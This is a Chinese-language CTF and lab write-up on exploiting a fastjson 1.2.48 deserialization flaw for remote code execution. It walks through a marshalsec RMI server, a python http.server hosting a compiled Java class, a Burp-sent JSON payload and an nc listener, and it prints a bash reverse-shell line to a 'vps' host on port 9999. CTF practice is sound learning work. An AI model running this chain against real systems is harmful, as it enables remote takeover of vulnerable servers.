SUSCTF2022-[baby_gadget_v1.0] fastjson反序列化
dirsearch 扫描到后台,可以直接进,不过只能在 burp 里面,因为浏览器会跳转
其中发现http://124.71.187.127:20012/admin/download.jsp?filename=lib.zip
下载到文件
看 dalao 战队的 wp 说这 lib 是依赖文件
解压看到
关键点在fastjson-1.2.48.jar
真的就是随便百度一下就能查到
有漏洞呀红队武器库:fastjson 小于 1.2.68 全漏洞 RCE 利用 exp
原来破题点在这里,我还以为得 jd-gui 反编译后来审计呢
那么多代码,一般不可能是自己审计的,网上可能已经有公布这个的漏洞了喔
不过,就是说,你查到了也得知道那个漏洞怎么用呀
或许这个官方的 wp 说得更清楚
大佬快教我学会如何用 poc 打 flag
看到了两个 jndi 工具
https://github.com/wyzxxz/jndi_tool
https://github.com/kxcode/JNDI-Exploit-Bypass-Demo
不会复现呀!!!
buu 上找到类似的题模拟一下
[FastJson]1.2.24-rce
首先是个脚本小子,看过程时太深奥的原理都别琢磨
最开始是这样
构造 dnslog 盲打
1 | POST / HTTP/1.1 |
好诶,原来 poc 是这样用的
虽然我有自己服务器,但是要反弹 shell 的话,还是有点麻烦,先在本地搭建一下靶场吧
volfocus 靶场复现
靶场设在本地,所以可以访问到我的内网 kali,因此无需配置公网 ip
在 kali 上
写入内容如下的 java 文件,命名为test.java
,使用命令javac test.java
生成test.class
文件名 test 要与文件内容中的 class 名相同
不然会报错,提醒你修改
1 | import java.lang.Runtime; |
起一个临时 http 服务,接收 shell 的机器是 192.168.64.129,监听 4567 端口
1 | python3 -m http.server 4567 |
同样在 kali 上,使用 marshalsec-0.0.3-SNAPSHOT-all.jar 起一个 9999 监听端口
1 | java --illegal-access=warn -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.64.129:4567/#test" 9999 |
使用 burp 发送 payload,并在 kali 上 nc -lvnp 55555,接收 shell
1 | POST / HTTP/1.1 |
然后会出现这种破事???
上网查了一下好像是 java 版本的问题
看来还是不能用 kali 自带的 openjdk,得去 Oracle 官网上下载 jdk,来配置到 kali 上
kali2.0 卸载 openjdk,并安装 java 1.8 jdk
kali 中安装多版本 jdk
由这两篇博客,配置了两个不同版本的 java
以后通过这条命令就可以更换 java 版本update-alternatives --config java
重新来一遍,使用 burp repeater GOGOGOGO!!!
这是在 vulfocus 搭的靶场,没有 flag 这一说
小总结
原来远程代码执行是这么个回事
以后看了别人的 wp 不会一头雾水了
关键点还是在写java文件
and在burp上构造+绕waf发json请求
回过头来用公网服务器来做 buu 吧
要做公网 ip 的服务器,还没有 zsh,空空
我得一点一点下载过去喔,挺麻烦的
有空了,继续做
安装Oracle jdk
和mvn
,在 git clone 一个marshalsec
写个 java 文件,编译成 class,python3 -m http.server 7777
哎呀呀呀呀
要给服务器开放端口,不然都不然我反弹 shell
在阿里云控制台那里开 9999、1234、7777 三个要用的端口
在宝塔面板开 9999、1234、7777 三个在这个地方也开起来
差点绷不住了
这句才可以反弹
1 | String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/vps/9999 0>&1"}; |
进去后又找不到 flag
经过这一次折腾,我的服务器,总算是配置好了
有 9999,7777,1234 这几个端口可用
2. 补充一下原理
SerializerFeature.WriteClassName
属性,json 中包含了@type
- json 数据可控时,
@type
+指定某个具体的类,反序列化出任意对象 - 公网 ip 上搭建
RMI
服务 - ………………………………